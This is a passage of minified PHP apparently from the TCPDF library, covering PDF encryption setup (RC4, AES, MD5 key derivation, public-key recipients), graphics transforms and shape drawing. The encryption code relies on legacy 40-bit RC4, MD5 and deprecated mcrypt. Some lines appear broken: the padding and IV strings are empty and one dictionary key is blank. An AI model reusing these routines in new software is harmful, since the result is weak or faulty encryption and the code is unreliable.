_objectkey($n){$objkey=$this->encryptdata[\'key\'].pack(\'VXxx\',$n);if($this->encryptdata[\'mode\']==2){$objkey.="sAlT";}$objkey=substr(TCPDF_STATIC::_md5_16($objkey),0,(($this->encryptdata[\'Length\']/8)+5));$objkey=substr($objkey,0,16);return $objkey;} function _encrypt_data($n,$s){if(!$this->encrypted){return $s;}switch($this->encryptdata[\'mode\']){case 0:case 1:{$s=TCPDF_STATIC::_RC4($this->_objectkey($n),$s,$this->last_enc_key,$this->last_enc_key_c);break;}case 2:{$s=TCPDF_STATIC::_AES($this->_objectkey($n),$s);break;}case 3:{$s=TCPDF_STATIC::_AES($this->encryptdata[\'key\'],$s);break;}}return $s;} function _putencryption(){if(!$this->encrypted){return;}$this->encryptdata[\'objid\']=$this->_newobj();$out=\'<<\';if(!isset($this->encryptdata[\'Filter\']) OR empty($this->encryptdata[\'Filter\'])){$this->encryptdata[\'Filter\']=\'Standard\';}$out.=\' /Filter /\'.$this->encryptdata[\'Filter\'];if(isset($this->encryptdata[\'SubFilter\']) AND !empty($this->encryptdata[\'SubFilter\'])){$out.=\' /SubFilter /\'.$this->encryptdata[\'SubFilter\'];}if(!isset($this->encryptdata[\'V\']) OR empty($this->encryptdata[\'V\'])){$this->encryptdata[\'V\']=1;}$out.=\' /V \'.$this->encryptdata[\'V\'];if(isset($this->encryptdata[\'Length\']) AND !empty($this->encryptdata[\'Length\'])){$out.=\' /Length \'.$this->encryptdata[\'Length\'];}else {$out.=\' /Length 40\';}if($this->encryptdata[\'V\']>=4){if(!isset($this->encryptdata[\'StmF\']) OR empty($this->encryptdata[\'StmF\'])){$this->encryptdata[\'StmF\']=\'Identity\';}if(!isset($this->encryptdata[\'StrF\']) OR empty($this->encryptdata[\'StrF\'])){$this->encryptdata[\'StrF\']=\'Identity\';}if(isset($this->encryptdata[\'CF\']) AND !empty($this->encryptdata[\'CF\'])){$out.=\' /CF <<\';$out.=\' /\'.$this->encryptdata[\'StmF\'].\' <<\';$out.=\' /Type /CryptFilter\';if(isset($this->encryptdata[\'CF\'][\'CFM\']) AND !empty($this->encryptdata[\'CF\'][\'CFM\'])){$out.=\' /CFM /\'.$this->encryptdata[\'CF\'][\'CFM\'];if($this->encryptdata[\'pubkey\']){$out.=\' /Recipients [\';foreach($this->encryptdata[\'Recipients\'] as $rec){$out.=\' <\'.$rec.\'>\';}$out.=\' ]\';if(isset($this->encryptdata[\'CF\'][\'EncryptMetadata\']) AND (!$this->encryptdata[\'CF\'][\'EncryptMetadata\'])){$out.=\' /EncryptMetadata false\';}else {$out.=\' /EncryptMetadata true\';}}}else {$out.=\' /CFM /None\';}if(isset($this->encryptdata[\'CF\'][\'AuthEvent\']) AND !empty($this->encryptdata[\'CF\'][\'AuthEvent\'])){$out.=\' /AuthEvent /\'.$this->encryptdata[\'CF\'][\'AuthEvent\'];}else {$out.=\' /AuthEvent /DocOpen\';}if(isset($this->encryptdata[\'CF\'][\'Length\']) AND !empty($this->encryptdata[\'CF\'][\'Length\'])){$out.=\' /Length \'.$this->encryptdata[\'CF\'][\'Length\'];}$out.=\' >> >>\';}$out.=\' /StmF /\'.$this->encryptdata[\'StmF\'];$out.=\' /StrF /\'.$this->encryptdata[\'StrF\'];if(isset($this->encryptdata[\'EFF\']) AND !empty($this->encryptdata[\'EFF\'])){$out.=\' /EFF /\'.$this->encryptdata[\'\'];}}if($this->encryptdata[\'pubkey\']){if(($this->encryptdata[\'V\']<4) AND isset($this->encryptdata[\'Recipients\']) AND !empty($this->encryptdata[\'Recipients\'])){$out.=\' /Recipients [\';foreach($this->encryptdata[\'Recipients\'] as $rec){$out.=\' <\'.$rec.\'>\';}$out.=\' ]\';}}else {$out.=\' /R\';if($this->encryptdata[\'V\']==5){$out.=\' 5\';$out.=\' /OE (\'.TCPDF_STATIC::_escape($this->encryptdata[\'OE\']).\')\';$out.=\' /UE (\'.TCPDF_STATIC::_escape($this->encryptdata[\'UE\']).\')\';$out.=\' /Perms (\'.TCPDF_STATIC::_escape($this->encryptdata[\'perms\']).\')\';}elseif($this->encryptdata[\'V\']==4){$out.=\' 4\';}elseif($this->encryptdata[\'V\']<2){$out.=\' 2\';}else {$out.=\' 3\';}$out.=\' /O (\'.TCPDF_STATIC::_escape($this->encryptdata[\'O\']).\')\';$out.=\' /U (\'.TCPDF_STATIC::_escape($this->encryptdata[\'U\']).\')\';$out.=\' /P \'.$this->encryptdata[\'P\'];if(isset($this->encryptdata[\'EncryptMetadata\']) AND (!$this->encryptdata[\'EncryptMetadata\'])){$out.=\' /EncryptMetadata false\';}else {$out.=\' /EncryptMetadata true\';}}$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);} function _Uvalue(){if($this->encryptdata[\'mode\']==0){return TCPDF_STATIC::_RC4($this->encryptdata[\'key\'],TCPDF_STATIC::$enc_padding,$this->last_enc_key,$this->last_enc_key_c);}elseif($this->encryptdata[\'mode\']<3){$tmp=TCPDF_STATIC::_md5_16(TCPDF_STATIC::$enc_padding.$this->encryptdata[\'fileid\']);$enc=TCPDF_STATIC::_RC4($this->encryptdata[\'key\'],$tmp,$this->last_enc_key,$this->last_enc_key_c);$len=strlen($tmp);for($i=1;$i<=19;++$i){$ek=\'\';for($j=0;$j<$len;++$j){$ek.=chr(ord($this->encryptdata[\'key\'][$j])^$i);}$enc=TCPDF_STATIC::_RC4($ek,$enc,$this->last_enc_key,$this->last_enc_key_c);}$enc.=str_repeat("",16);return substr($enc,0,32);}elseif($this->encryptdata[\'mode\']==3){$seed=TCPDF_STATIC::_md5_16(TCPDF_STATIC::getRandomSeed());$this->encryptdata[\'UVS\']=substr($seed,0,8);$this->encryptdata[\'UKS\']=substr($seed,8,16);return hash(\'sha256\',$this->encryptdata[\'user_password\'].$this->encryptdata[\'UVS\'],true).$this->encryptdata[\'UVS\'].$this->encryptdata[\'UKS\'];}} function _UEvalue(){$hashkey=hash(\'sha256\',$this->encryptdata[\'user_password\'].$this->encryptdata[\'UKS\'],true);$iv=str_repeat("",mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128,MCRYPT_MODE_CBC));return mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$hashkey,$this->encryptdata[\'key\'],MCRYPT_MODE_CBC,$iv);} function _Ovalue(){if($this->encryptdata[\'mode\']<3){$tmp=TCPDF_STATIC::_md5_16($this->encryptdata[\'owner_password\']);if($this->encryptdata[\'mode\']>0){for($i=0;$i<50;++$i){$tmp=TCPDF_STATIC::_md5_16($tmp);}}$owner_key=substr($tmp,0,($this->encryptdata[\'Length\']/8));$enc=TCPDF_STATIC::_RC4($owner_key,$this->encryptdata[\'user_password\'],$this->last_enc_key,$this->last_enc_key_c);if($this->encryptdata[\'mode\']>0){$len=strlen($owner_key);for($i=1;$i<=19;++$i){$ek=\'\';for($j=0;$j<$len;++$j){$ek.=chr(ord($owner_key[$j])^$i);}$enc=TCPDF_STATIC::_RC4($ek,$enc,$this->last_enc_key,$this->last_enc_key_c);}}return $enc;}elseif($this->encryptdata[\'mode\']==3){$seed=TCPDF_STATIC::_md5_16(TCPDF_STATIC::getRandomSeed());$this->encryptdata[\'OVS\']=substr($seed,0,8);$this->encryptdata[\'OKS\']=substr($seed,8,16);return hash(\'sha256\',$this->encryptdata[\'owner_password\'].$this->encryptdata[\'OVS\'].$this->encryptdata[\'U\'],true).$this->encryptdata[\'OVS\'].$this->encryptdata[\'OKS\'];}} function _OEvalue(){$hashkey=hash(\'sha256\',$this->encryptdata[\'owner_password\'].$this->encryptdata[\'OKS\'].$this->encryptdata[\'U\'],true);$iv=str_repeat("",mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128,MCRYPT_MODE_CBC));return mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$hashkey,$this->encryptdata[\'key\'],MCRYPT_MODE_CBC,$iv);} function _fixAES256Password($password){$psw=\'\';$psw_array=TCPDF_FONTS::utf8Bidi(TCPDF_FONTS::UTF8StringToArray($password,$this->isunicode,$this->CurrentFont),$password,$this->rtl,$this->isunicode,$this->CurrentFont);foreach($psw_array as $c){$psw.=TCPDF_FONTS::unichr($c,$this->isunicode);}return substr($psw,0,127);} function _generateencryptionkey(){$keybytelen=($this->encryptdata[\'Length\']/8);if(!$this->encryptdata[\'pubkey\']){if($this->encryptdata[\'mode\']==3){$this->encryptdata[\'key\']=substr(hash(\'sha256\',TCPDF_STATIC::getRandomSeed(),true),0,$keybytelen);$this->encryptdata[\'user_password\']=$this->_fixAES256Password($this->encryptdata[\'user_password\']);$this->encryptdata[\'owner_password\']=$this->_fixAES256Password($this->encryptdata[\'owner_password\']);$this->encryptdata[\'U\']=$this->_Uvalue();$this->encryptdata[\'UE\']=$this->_UEvalue();$this->encryptdata[\'O\']=$this->_Ovalue();$this->encryptdata[\'OE\']=$this->_OEvalue();$this->encryptdata[\'P\']=$this->encryptdata[\'protection\'];$perms=TCPDF_STATIC::getEncPermissionsString($this->encryptdata[\'protection\']);$perms.=chr(255).chr(255).chr(255).chr(255);if(isset($this->encryptdata[\'CF\'][\'EncryptMetadata\']) AND (!$this->encryptdata[\'CF\'][\'EncryptMetadata\'])){$perms.=\'F\';}else {$perms.=\'T\';}$perms.=\'adb\';$perms.=\'nick\';$iv=str_repeat("",mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128,MCRYPT_MODE_ECB));$this->encryptdata[\'perms\']=mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$this->encryptdata[\'key\'],$perms,MCRYPT_MODE_ECB,$iv);}else {$this->encryptdata[\'user_password\']=substr($this->encryptdata[\'user_password\'].TCPDF_STATIC::$enc_padding,0,32);$this->encryptdata[\'owner_password\']=substr($this->encryptdata[\'owner_password\'].TCPDF_STATIC::$enc_padding,0,32);$this->encryptdata[\'O\']=$this->_Ovalue();$permissions=TCPDF_STATIC::getEncPermissionsString($this->encryptdata[\'protection\']);$tmp=TCPDF_STATIC::_md5_16($this->encryptdata[\'user_password\'].$this->encryptdata[\'O\'].$permissions.$this->encryptdata[\'fileid\']);if($this->encryptdata[\'mode\']>0){for($i=0;$i<50;++$i){$tmp=TCPDF_STATIC::_md5_16(substr($tmp,0,$keybytelen));}}$this->encryptdata[\'key\']=substr($tmp,0,$keybytelen);$this->encryptdata[\'U\']=$this->_Uvalue();$this->encryptdata[\'P\']=$this->encryptdata[\'protection\'];}}else {$seed=sha1(TCPDF_STATIC::getRandomSeed(),true);$recipient_bytes=\'\';foreach($this->encryptdata[\'pubkeys\'] as $pubkey){if(isset($pubkey[\'p\'])){$pkprotection=TCPDF_STATIC::getUserPermissionCode($pubkey[\'p\'],$this->encryptdata[\'mode\']);}else {$pkprotection=$this->encryptdata[\'protection\'];}$pkpermissions=TCPDF_STATIC::getEncPermissionsString($pkprotection);$envelope=$seed.$pkpermissions;$tempkeyfile=TCPDF_STATIC::getObjFilename(\'key\',$this->file_id);$f=TCPDF_STATIC::fopenLocal($tempkeyfile,\'wb\');if(!$f){$this->Error(\'Unable to create temporary key file: \'.$tempkeyfile);}$envelope_length=strlen($envelope);fwrite($f,$envelope,$envelope_length);fclose($f);$tempencfile=TCPDF_STATIC::getObjFilename(\'enc\',$this->file_id);if(!openssl_pkcs7_encrypt($tempkeyfile,$tempencfile,$pubkey[\'c\'],array(),PKCS7_BINARY|PKCS7_DETACHED)){$this->Error(\'Unable to encrypt the file: \'.$tempkeyfile);}$signature=file_get_contents($tempencfile,false,null,$envelope_length);$signature=substr($signature,strpos($signature,\'Content-Disposition\'));$tmparr=explode("
",$signature);$signature=trim($tmparr[1]);unset($tmparr);$signature=base64_decode($signature);$hexsignature=current(unpack(\'H*\',$signature));$this->encryptdata[\'Recipients\'][]=$hexsignature;$recipient_bytes.=$signature;}if($this->encryptdata[\'mode\']==3){$this->encryptdata[\'key\']=substr(hash(\'sha256\',$seed.$recipient_bytes,true),0,$keybytelen);}else {$this->encryptdata[\'key\']=substr(sha1($seed.$recipient_bytes,true),0,$keybytelen);}}} function SetProtection($permissions=array(\'print\',\'modify\',\'copy\',\'annot-forms\',\'fill-forms\',\'extract\',\'assemble\',\'print-high\'),$user_pass=\'\',$owner_pass=null,$mode=0,$pubkeys=null){if($this->pdfa_mode){return;}$this->encryptdata[\'protection\']=TCPDF_STATIC::getUserPermissionCode($permissions,$mode);if(($pubkeys!==null) AND (is_array($pubkeys))){$this->encryptdata[\'pubkeys\']=$pubkeys;if($mode==0){$mode=1;}if(!function_exists(\'openssl_pkcs7_encrypt\')){$this->Error(\'Public-Key Security requires openssl library.\');}$this->encryptdata[\'pubkey\']=true;$this->encryptdata[\'Filter\']=\'Adobe.PubSec\';$this->encryptdata[\'StmF\']=\'DefaultCryptFilter\';$this->encryptdata[\'StrF\']=\'DefaultCryptFilter\';}else {$this->encryptdata[\'pubkey\']=false;$this->encryptdata[\'Filter\']=\'Standard\';$this->encryptdata[\'StmF\']=\'StdCF\';$this->encryptdata[\'StrF\']=\'StdCF\';}if($mode>1){if(!extension_loaded(\'mcrypt\')){$this->Error(\'AES encryption requires mcrypt library (http://www.php.net/manual/en/mcrypt.requirements.php).\');}if(mcrypt_get_cipher_name(MCRYPT_RIJNDAEL_128)===false){$this->Error(\'AES encryption requires MCRYPT_RIJNDAEL_128 cypher.\');}if(($mode==3) AND !function_exists(\'hash\')){$this->Error(\'AES 256 encryption requires HASH Message Digest Framework (http://www.php.net/manual/en/book.hash.php).\');}}if($owner_pass===null){$owner_pass=md5(TCPDF_STATIC::getRandomSeed());}$this->encryptdata[\'user_password\']=$user_pass;$this->encryptdata[\'owner_password\']=$owner_pass;$this->encryptdata[\'mode\']=$mode;switch($mode){case 0:{$this->encryptdata[\'V\']=1;$this->encryptdata[\'Length\']=40;$this->encryptdata[\'CF\'][\'CFM\']=\'V2\';break;}case 1:{$this->encryptdata[\'V\']=2;$this->encryptdata[\'Length\']=128;$this->encryptdata[\'CF\'][\'CFM\']=\'V2\';if($this->encryptdata[\'pubkey\']){$this->encryptdata[\'SubFilter\']=\'adbe.pkcs7.s4\';$this->encryptdata[\'Recipients\']=array();}break;}case 2:{$this->encryptdata[\'V\']=4;$this->encryptdata[\'Length\']=128;$this->encryptdata[\'CF\'][\'CFM\']=\'AESV2\';$this->encryptdata[\'CF\'][\'Length\']=128;if($this->encryptdata[\'pubkey\']){$this->encryptdata[\'SubFilter\']=\'adbe.pkcs7.s5\';$this->encryptdata[\'Recipients\']=array();}break;}case 3:{$this->encryptdata[\'V\']=5;$this->encryptdata[\'Length\']=256;$this->encryptdata[\'CF\'][\'CFM\']=\'AESV3\';$this->encryptdata[\'CF\'][\'Length\']=256;if($this->encryptdata[\'pubkey\']){$this->encryptdata[\'SubFilter\']=\'adbe.pkcs7.s5\';$this->encryptdata[\'Recipients\']=array();}break;}}$this->encrypted=true;$this->encryptdata[\'fileid\']=TCPDF_STATIC::convertHexStringToString($this->file_id);$this->_generateencryptionkey();} function StartTransform(){if($this->state!=2){return;}$this->_outSaveGraphicsState();if($this->inxobj){$this->xobjects[$this->xobjid][\'transfmrk\'][]=strlen($this->xobjects[$this->xobjid][\'outdata\']);}else {$this->transfmrk[$this->page][]=$this->pagelen[$this->page];}++$this->transfmatrix_key;$this->transfmatrix[$this->transfmatrix_key]=array();} function StopTransform(){if($this->state!=2){return;}$this->_outRestoreGraphicsState();if(isset($this->transfmatrix[$this->transfmatrix_key])){array_pop($this->transfmatrix[$this->transfmatrix_key]);--$this->transfmatrix_key;}if($this->inxobj){array_pop($this->xobjects[$this->xobjid][\'transfmrk\']);}else {array_pop($this->transfmrk[$this->page]);}} function ScaleX($s_x,$x=\'\',$y=\'\'){$this->Scale($s_x,100,$x,$y);} function ScaleY($s_y,$x=\'\',$y=\'\'){$this->Scale(100,$s_y,$x,$y);} function ScaleXY($s,$x=\'\',$y=\'\'){$this->Scale($s,$s,$x,$y);} function Scale($s_x,$s_y,$x=\'\',$y=\'\'){if($x===\'\'){$x=$this->x;}if($y===\'\'){$y=$this->y;}if(($s_x==0) OR ($s_y==0)){$this->Error(\'Please do not use values equal to zero for scaling\');}$y=($this->h-$y)*$this->k;$x*=$this->k;$s_x/=100;$s_y/=100;$tm=array();$tm[0]=$s_x;$tm[1]=0;$tm[2]=0;$tm[3]=$s_y;$tm[4]=$x*(1-$s_x);$tm[5]=$y*(1-$s_y);$this->Transform($tm);} function MirrorH($x=\'\'){$this->Scale(-100,100,$x);} function MirrorV($y=\'\'){$this->Scale(100,-100,\'\',$y);} function MirrorP($x=\'\',$y=\'\'){$this->Scale(-100,-100,$x,$y);} function MirrorL($angle=0,$x=\'\',$y=\'\'){$this->Scale(-100,100,$x,$y);$this->Rotate(-2*($angle-90),$x,$y);} function TranslateX($t_x){$this->Translate($t_x,0);} function TranslateY($t_y){$this->Translate(0,$t_y);} function Translate($t_x,$t_y){$tm=array();$tm[0]=1;$tm[1]=0;$tm[2]=0;$tm[3]=1;$tm[4]=$t_x*$this->k;$tm[5]=-$t_y*$this->k;$this->Transform($tm);} function Rotate($angle,$x=\'\',$y=\'\'){if($x===\'\'){$x=$this->x;}if($y===\'\'){$y=$this->y;}$y=($this->h-$y)*$this->k;$x*=$this->k;$tm=array();$tm[0]=cos(deg2rad($angle));$tm[1]=sin(deg2rad($angle));$tm[2]=-$tm[1];$tm[3]=$tm[0];$tm[4]=$x+($tm[1]*$y)-($tm[0]*$x);$tm[5]=$y-($tm[0]*$y)-($tm[1]*$x);$this->Transform($tm);} function SkewX($angle_x,$x=\'\',$y=\'\'){$this->Skew($angle_x,0,$x,$y);} function SkewY($angle_y,$x=\'\',$y=\'\'){$this->Skew(0,$angle_y,$x,$y);} function Skew($angle_x,$angle_y,$x=\'\',$y=\'\'){if($x===\'\'){$x=$this->x;}if($y===\'\'){$y=$this->y;}if(($angle_x<=-90) OR ($angle_x>=90) OR ($angle_y<=-90) OR ($angle_y>=90)){$this->Error(\'Please use values between -90 and +90 degrees for Skewing.\');}$x*=$this->k;$y=($this->h-$y)*$this->k;$tm=array();$tm[0]=1;$tm[1]=tan(deg2rad($angle_y));$tm[2]=tan(deg2rad($angle_x));$tm[3]=1;$tm[4]=-$tm[2]*$y;$tm[5]=-$tm[1]*$x;$this->Transform($tm);} function Transform($tm){if($this->state!=2){return;}$this->_out(sprintf(\'%F %F %F %F %F %F cm\',$tm[0],$tm[1],$tm[2],$tm[3],$tm[4],$tm[5]));$this->transfmatrix[$this->transfmatrix_key][]=array(\'a\'=>$tm[0],\'b\'=>$tm[1],\'c\'=>$tm[2],\'d\'=>$tm[3],\'e\'=>$tm[4],\'f\'=>$tm[5]);if($this->inxobj){if(end($this->xobjects[$this->xobjid][\'transfmrk\'])!==false){$key=key($this->xobjects[$this->xobjid][\'transfmrk\']);$this->xobjects[$this->xobjid][\'transfmrk\'][$key]=strlen($this->xobjects[$this->xobjid][\'outdata\']);}}elseif(end($this->transfmrk[$this->page])!==false){$key=key($this->transfmrk[$this->page]);$this->transfmrk[$this->page][$key]=$this->pagelen[$this->page];}} function SetLineWidth($width){$this->LineWidth=$width;$this->linestyleWidth=sprintf(\'%F w\',($width*$this->k));if($this->state==2){$this->_out($this->linestyleWidth);}} function GetLineWidth(){return $this->LineWidth;} function SetLineStyle($style,$ret=false){$s=\'\';if(!is_array($style)){return;}if(isset($style[\'width\'])){$this->LineWidth=$style[\'width\'];$this->linestyleWidth=sprintf(\'%F w\',($style[\'width\']*$this->k));$s.=$this->linestyleWidth.\' \';}if(isset($style[\'cap\'])){$ca=array(\'butt\'=>0,\'round\'=>1,\'square\'=>2);if(isset($ca[$style[\'cap\']])){$this->linestyleCap=$ca[$style[\'cap\']].\' J\';$s.=$this->linestyleCap.\' \';}}if(isset($style[\'join\'])){$ja=array(\'miter\'=>0,\'round\'=>1,\'bevel\'=>2);if(isset($ja[$style[\'join\']])){$this->linestyleJoin=$ja[$style[\'join\']].\' j\';$s.=$this->linestyleJoin.\' \';}}if(isset($style[\'dash\'])){$dash_string=\'\';if($style[\'dash\']){if(preg_match(\'/^.+,/\',$style[\'dash\'])>0){$tab=explode(\',\',$style[\'dash\']);}else {$tab=array($style[\'dash\']);}$dash_string=\'\';foreach($tab as $i=>$v){if($i){$dash_string.=\' \';}$dash_string.=sprintf(\'%F\',$v);}}if(!isset($style[\'phase\']) OR !$style[\'dash\']){$style[\'phase\']=0;}$this->linestyleDash=sprintf(\'[%s] %F d\',$dash_string,$style[\'phase\']);$s.=$this->linestyleDash.\' \';}if(isset($style[\'color\'])){$s.=$this->SetDrawColorArray($style[\'color\'],true).\' \';}if(!$ret AND ($this->state==2)){$this->_out($s);}return $s;} function _outPoint($x,$y){if($this->state==2){$this->_out(sprintf(\'%F %F m\',($x*$this->k),(($this->h-$y)*$this->k)));}} function _outLine($x,$y){if($this->state==2){$this->_out(sprintf(\'%F %F l\',($x*$this->k),(($this->h-$y)*$this->k)));}} function _outRect($x,$y,$w,$h,$op){if($this->state==2){$this->_out(sprintf(\'%F %F %F %F re %s\',($x*$this->k),(($this->h-$y)*$this->k),($w*$this->k),(-$h*$this->k),$op));}} function _outCurve($x1,$y1,$x2,$y2,$x3,$y3){if($this->state==2){$this->_out(sprintf(\'%F %F %F %F %F %F c\',($x1*$this->k),(($this->h-$y1)*$this->k),($x2*$this->k),(($this->h-$y2)*$this->k),($x3*$this->k),(($this->h-$y3)*$this->k)));}} function _outCurveV($x2,$y2,$x3,$y3){if($this->state==2){$this->_out(sprintf(\'%F %F %F %F v\',($x2*$this->k),(($this->h-$y2)*$this->k),($x3*$this->k),(($this->h-$y3)*$this->k)));}} function _outCurveY($x1,$y1,$x3,$y3){if($this->state==2){$this->_out(sprintf(\'%F %F %F %F y\',($x1*$this->k),(($this->h-$y1)*$this->k),($x3*$this->k),(($this->h-$y3)*$this->k)));}} function Line($x1,$y1,$x2,$y2,$style=array()){if($this->state!=2){return;}if(is_array($style)){$this->SetLineStyle($style);}$this->_outPoint($x1,$y1);$this->_outLine($x2,$y2);$this->_out(\'S\');} function Rect($x,$y,$w,$h,$style=\'\',$border_style=array(),$fill_color=array()){if($this->state!=2){return;}if(empty($style)){$style=\'S\';}if(!(strpos($style,\'F\')===false) AND !empty($fill_color)){$this->SetFillColorArray($fill_color);}if(!empty($border_style)){if(isset($border_style[\'all\']) AND !empty($border_style[\'all\'])){$this->SetLineStyle($border_style[\'all\']);$border_style=array();}else {$opnostroke=array(\'S\'=>\'\',\'D\'=>\'\',\'s\'=>\'\',\'d\'=>\'\',\'B\'=>\'F\',\'FD\'=>\'F\',\'DF\'=>\'F\',\'B*\'=>\'F*\',\'F*D\'=>\'F*\',\'DF*\'=>\'F*\',\'b\'=>\'f\',\'fd\'=>\'f\',\'df\'=>\'f\',\'b*\'=>\'f*\',\'f*d\'=>\'f*\',\'df*\'=>\'f*\');if(isset($opnostroke[$style])){$style=$opnostroke[$style];}}}if(!empty($style)){$op=TCPDF_STATIC::getPathPaintOperator($style);$this->_outRect($x,$y,$w,$h,$op);}if(!empty($border_style)){$border_style2=array();foreach($border_style as $line=>$value){$length=strlen($line);for($i=0;$i<$length;++$i){$border_style2[$line[$i]]=$value;}}$border_style=$border_style2;if(isset($border_style[\'L\']) AND $border_style[\'L\']){$this->Line($x,$y,$x,$y+$h,$border_style[\'L\']);}if(isset($border_style[\'T\']) AND $border_style[\'T\']){$this->Line($x,$y,$x+$w,$y,$border_style[\'T\']);}if(isset($border_style[\'R\']) AND $border_style[\'R\']){$this->Line($x+$w,$y,$x+$w,$y+$h,$border_style[\'R\']);}if(isset($border_style[\'B\']) AND $border_style[\'B\']){$this->Line($x,$y+$h,$x+$w,$y+$h,$border_style[\'B\']);}}} function Curve($x0,$y0,$x1,$y1,$x2,$y2,$x3,$y3,$style=\'\',$line_style=array(),$fill_color=array()){if($this->state!=2){return;}if(!(false===strpos($style,\'F\')) AND isset($fill_color)){$this->SetFillColorArray($fill_color);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($line_style){$this->SetLineStyle($line_style);}$this->_outPoint($x0,$y0);$this->_outCurve($x1,$y1,$x2,$y2,$x3,$y3);$this->_out($op);} function Polycurve($x0,$y0,$segments,$style=\'\',$line_style=array(),$fill_color=array()){if($this->state!=2){return;}if(!(false===strpos($style,\'F\')) AND isset($fill_color)){$this->SetFillColorArray($fill_color);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($op==\'f\'){$line_style=array();}if($line_style){$this->SetLineStyle($line_style);}$this->_outPoint($x0,$y0);foreach($segments as $segment){list($x1,$y1,$x2,$y2,$x3,$y3)=$segment;$this->_outCurve($x1,$y1,$x2,$y2,$x3,$y3);}$this->_out($op);} function Ellipse($x0,$y0,$rx,$ry=\'\',$angle=0,$astart=0,$afinish=360,$style=\'\',$line_style=array(),$fill_color=array(),$nc=2){if($this->state!=2){return;}if(TCPDF_STATIC::empty_string($ry) OR ($ry==0)){$ry=$rx;}if(!(false===strpos($style,\'F\')) AND isset($fill_color)){$this->SetFillColorArray($fill_color);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($op==\'f\'){$line_style=array();}if($line_style){$this->SetLineStyle($line_style);}$this->_outellipticalarc($x0,$y0,$rx,$ry,$angle,$astart,$afinish,false,$nc,true,true,false);$this->_out($op);} function _outellipticalarc($xc,$yc,$rx,$ry,$xang=0,$angs=0,$angf=360,$pie=false,$nc=2,$startpoint=true,$ccw=true,$svg=false){if(($rx<=0) OR ($ry<0)){return;}$k=$this->k;if($nc<2){$nc=2;}$xmin=2147483647;$ymin=2147483647;$xmax=0;$ymax=0;if($pie){$this->_outPoint($xc,$yc);}$xang=deg2rad((float)$xang);$angs=deg2rad((float)$angs);$angf=deg2rad((float)$angf);if($svg){$as=$angs;$af=$angf;}else {$as=atan2((sin($angs)/$ry),(cos($angs)/$rx));$af=atan2((sin($angf)/$ry),(cos($angf)/$rx));}if($as<0){$as+=(2*M_PI);}if($af<0){$af+=(2*M_PI);}if($ccw AND ($as>$af)){$as-=(2*M_PI);}elseif(!$ccw AND ($as<$af)){$af-=(2*M_PI);}$total_angle=($af-$as);if($nc<2){$nc=2;}$nc*=(2*abs($total_angle)/M_PI);$nc=round($nc)+1;$arcang=($total_angle/$nc);$x0=$xc;$y0=($this->h-$yc);$ang=$as;$alpha=sin($arcang)*((sqrt(4+(3*pow(tan(($arcang)/2),2)))-1)/3);$cos_xang=cos($xang);$sin_xang=sin($xang);$cos_ang=cos($ang);$sin_ang=sin($ang);$px1=$x0+($rx*$cos_xang*$cos_ang)-($ry*$sin_xang*$sin_ang);$py1=$y0+($rx*$sin_xang*$cos_ang)+($ry*$cos_xang*$sin_ang);$qx1=($alpha*((-$rx*$cos_xang*$sin_ang)-($ry*$sin_xang*$cos_ang)));$qy1=($alpha*((-$rx*$sin_xang*$sin_ang)+($ry*$cos_xang*$cos_ang)));if($pie){$this->_outLine($px1,$this->h-$py1);}elseif($startpoint){$this->_outPoint($px1,$this->h-$py1);}for($i=1;$i<=$nc;++$i){$ang=$as+($i*$arcang);if($i==$nc){$ang=$af;}$cos_ang=cos($ang);$sin_ang=sin($ang);$px2=$x0+($rx*$cos_xang*$cos_ang)-($ry*$sin_xang*$sin_ang);$py2=$y0+($rx*$sin_xang*$cos_ang)+($ry*$cos_xang*$sin_ang);$qx2=($alpha*((-$rx*$cos_xang*$sin_ang)-($ry*$sin_xang*$cos_ang)));$qy2=($alpha*((-$rx*$sin_xang*$sin_ang)+($ry*$cos_xang*$cos_ang)));$cx1=($px1+$qx1);$cy1=($this->h-($py1+$qy1));$cx2=($px2-$qx2);$cy2=($this->h-($py2-$qy2));$cx3=$px2;$cy3=($this->h-$py2);$this->_outCurve($cx1,$cy1,$cx2,$cy2,$cx3,$cy3);$xmin=min($xmin,$cx1,$cx2,$cx3);$ymin=min($ymin,$cy1,$cy2,$cy3);$xmax=max($xmax,$cx1,$cx2,$cx3);$ymax=max($ymax,$cy1,$cy2,$cy3);$px1=$px2;$py1=$py2;$qx1=$qx2;$qy1=$qy2;}if($pie){$this->_outLine($xc,$yc);$xmin=min($xmin,$xc);$ymin=min($ymin,$yc);$xmax=max($xmax,$xc);$ymax=max($ymax,$yc);}return array($xmin,$ymin,$xmax,$ymax);} function Circle($x0,$y0,$r,$angstr=0,$angend=360,$style=\'\',$line_style=array(),$fill_color=array(),$nc=2){$this->Ellipse($x0,$y0,$r,$r,0,$angstr,$angend,$style,$line_style,$fill_color,$nc);} function PolyLine($p,$style=\'\',$line_style=array(),$fill_color=array()){$this->Polygon($p,$style,$line_style,$fill_color,false);} function Polygon($p,$style=\'\',$line_style=array(),$fill_color=array(),$closed=true){if($this->state!=2){return;}$nc=count($p);$np=$nc/2;if($closed){for($i=0;$i<4;++$i){$p[$nc+$i]=$p[$i];}if(isset($line_style[0])){$line_style[$np]=$line_style[0];}$nc+=4;}if(!(false===strpos($style,\'F\')) AND isset($fill_color)){$this->SetFillColorArray($fill_color);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($op==\'f\'){$line_style=array();}$draw=true;if($line_style){if(isset($line_style[\'all\'])){$this->SetLineStyle($line_style[\'all\']);}else {$draw=false;if($op==\'B\'){$op=\'f\';$this->_outPoint($p[0],$p[1]);for($i=2;$i<$nc;$i=$i+2){$this->_outLine($p[$i],$p[$i+1]);}$this->_out($op);}$this->_outPoint($p[0],$p[1]);for($i=2;$i<$nc;$i=$i+2){$line_num=($i/2)-1;if(isset($line_style[$line_num])){if($line_style[$line_num]!=0){if(is_array($line_style[$line_num])){$this->_out(\'S\');$this->SetLineStyle($line_style[$line_num]);$this->_outPoint($p[$i-2],$p[$i-1]);$this->_outLine($p[$i],$p[$i+1]);$this->_out(\'S\');$this->_outPoint($p[$i],$p[$i+1]);}else {$this->_outLine($p[$i],$p[$i+1]);}}}else 